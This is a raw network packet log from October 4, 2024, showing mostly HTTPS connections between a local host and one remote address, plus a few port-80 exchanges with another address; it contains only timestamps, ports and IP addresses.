Oct 4, 2024 15:53:41.415930033 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.415930033 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.415950060 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.415958881 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.419033051 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.419070959 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.419166088 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.419307947 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.419317961 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.488903046 CEST	49674	443	192.168.2.10	173.222.162.55
Oct 4, 2024 15:53:41.489650965 CEST	49675	443	192.168.2.10	173.222.162.55
Oct 4, 2024 15:53:41.541336060 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.546152115 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.546165943 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.546720028 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.546735048 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.560769081 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.563047886 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.563076019 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.563556910 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.563564062 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.586927891 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.587587118 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.587605953 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.588121891 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.588138103 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.642362118 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.642441988 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.642663002 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.642899036 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.642899990 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.642921925 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.642930031 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.646348953 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.646390915 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.647432089 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.647624016 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.647636890 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.659883022 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.659976959 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.660109043 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.660377026 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.660398960 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.660413980 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.660419941 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.665062904 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.665112019 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.665205002 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.665393114 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.665410042 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.690167904 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.690274000 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.690372944 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.690556049 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.690556049 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.690577984 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.690588951 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.694257021 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.694288015 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.694451094 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.694602966 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.694611073 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.845876932 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.846584082 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.846611977 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.847125053 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.847131968 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.956593990 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.956722975 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.956818104 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.957046986 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.957076073 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.957087994 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.957096100 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.965646982 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.965678930 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.965743065 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.965989113 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.966002941 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.061909914 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.093791008 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.093816042 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.094377041 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.094383001 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.134588003 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:42.176348925 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:42.195975065 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.196129084 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.196278095 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.197042942 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.197087049 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.197114944 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.197129965 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.200429916 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.200491905 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.200582981 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.201369047 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.201387882 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.276377916 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:42.276421070 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:42.282124996 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:42.282705069 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:42.317886114 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.318551064 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.318567038 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.319106102 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.319112062 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.328320980 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.328890085 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.328897953 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.329252005 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.329256058 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.329292059 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.329562902 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.329580069 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.329893112 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.329900026 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.419179916 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.419292927 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.419466972 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.419764042 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.419785976 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.419840097 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.419847012 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.423796892 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.423845053 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.424078941 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.424243927 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.424259901 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.433296919 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.433370113 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.433684111 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.433717966 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.433732986 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.433748007 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.433756113 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.434885979 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.435028076 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.435142994 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.435327053 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.435336113 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.435345888 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.435349941 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.436925888 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.436963081 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.437040091 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.437217951 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.437236071 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.437577963 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.437604904 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.437675953 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.437827110 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.437840939 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.643968105 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.645839930 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.645864010 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.646378040 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.646384001 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.962939978 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.963011980 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.963102102 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.963377953 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.963393927 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.966707945 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.966773033 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:42.966882944 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.967092037 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:42.967111111 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.041594028 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.042182922 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.042196989 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.042731047 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.042737961 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.073247910 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.075774908 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.075798988 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.076314926 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.076319933 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.096889019 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.098113060 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.098748922 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.098759890 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.099215031 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.099225044 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.099518061 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.099534035 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.099935055 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.099940062 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.172875881 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.172934055 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.172987938 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.173255920 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.173270941 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.173288107 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.173294067 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.179183960 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.179301977 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.179373980 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.179519892 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.179538965 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.179552078 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.179558039 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.181416035 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.181454897 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.181523085 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.181756020 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.181773901 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.182362080 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.182384968 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.182503939 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.182796001 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.182809114 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.202102900 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.202176094 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.202296972 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.202476025 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.202476025 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.202492952 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.202500105 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.205724955 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.205763102 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.205892086 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.206094980 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.206108093 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.270226955 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.270301104 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.270375013 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.270767927 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.270790100 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.270801067 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.270807028 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.274121046 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.274164915 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.274250031 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.274440050 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.274456024 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.624943018 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.628032923 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.628093958 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.628591061 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.628597975 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.722224951 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:43.733808041 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.733879089 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.734046936 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.734455109 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.734478951 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.734493017 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.734500885 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.737859011 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.737891912 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.738234043 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.738637924 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.738651037 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.770073891 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:43.826962948 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.828243017 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.828267097 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.828808069 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.828813076 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.836536884 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.837044954 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.837079048 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.837646961 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.837657928 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.867969990 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.869122028 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.869138002 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.869621992 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.869631052 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.912203074 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.913501978 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.913539886 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.914073944 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.914079905 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.942270041 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.942337990 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.942486048 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.942783117 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.942806959 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.942820072 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.942826986 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.945250988 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.945405960 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.946700096 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.946743965 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.946746111 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.946794987 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.946816921 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.946821928 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.946844101 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.946860075 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.947030067 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.947040081 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.949565887 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.949596882 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.949820995 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.949994087 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.950004101 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.980978012 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.981082916 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.981165886 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.988384008 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.988399029 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.988414049 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.988418102 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.992263079 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.992319107 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:43.992398977 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.992563963 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:43.992579937 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.024019957 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.024092913 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.024195910 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.024415970 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.024435043 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.024447918 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.024452925 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.027734995 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.027776957 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.027853966 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.028422117 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.028439999 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.397555113 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.402200937 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.402230024 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.402667999 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.402677059 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.507245064 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.507319927 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:44.507376909 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.507590055 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:44.507607937 CEST	443	49774	13.107.246.60	192.168.2.10
